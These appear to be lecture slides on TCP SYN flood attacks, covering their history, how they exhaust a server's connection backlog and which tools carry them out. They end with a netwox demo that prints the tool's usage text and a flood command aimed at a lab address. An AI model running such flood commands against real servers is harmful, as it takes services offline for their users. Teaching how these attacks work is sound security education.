SYN Flood & UDP Flood
2011-04-20
提纲
• SYN Flood
– 历史
– 原理与影响
– 攻击工具
– 防御方法
• UDP Flood
– 简介
• DDOS
TCP SYN Flood
• 历史
– Bill Cheswick and Steve Bellovin, 1994, 《Firewalls
and Internet Security: Repelling the Wily Hacker》
– Publicized in 1996, 《Prack Magazine》, with
description and exploit tool
TCP SYN Flood
• 原理与影响
– TCP三次握手
– The Goal of Attack
• Not the network resource
• Not the host memory
• But the backlog
TCP SYN Flood
• 原理与影响
– Three Key Component
• Barrage Size
• Barrage Frequency
• IP Address Selection
TCP SYN Flood
• 原理与影响
– Attack Result (Destroying the availability)
• Only prevent new incoming connections to the victim
port
• Not the outgoing connection requests
• Not the established connections to the victim port
TCP SYN Flood
• 攻击工具
– Longcat Flooder
– SinFlood
– Synflooder.pl
– metasploit
– Netwox
– ……
利用Netwox进行TCP SYN Flood攻击
演示
################## running tool number 76 ##################
Title: Synflood
+------------------------------------------------------------------------+
| This tool sends a lot of TCP SYN packets. |
+------------------------------------------------------------------------+
Usage: netwox 76 -i ip -p port [-s spoofip]
Parameters:
-i|--dst-ip ip destination IP address {5.6.7.8}
-p|--dst-port port destination port number {80}
-s|--spoofip spoofip IP spoof initialization type {linkbraw}
Example: netwox 76 -i "5.6.7.8" -p "80"
Example: netwox 76 --dst-ip "5.6.7.8" --dst-port "80"
Enter optional tool parameters and press Return key.
netwox 76 -i "172.*.*.188" -p 80
此时再使用主机A向服务器B发送连接请求,服务器会回应"Unable to connect
to remote host: Connection timed out"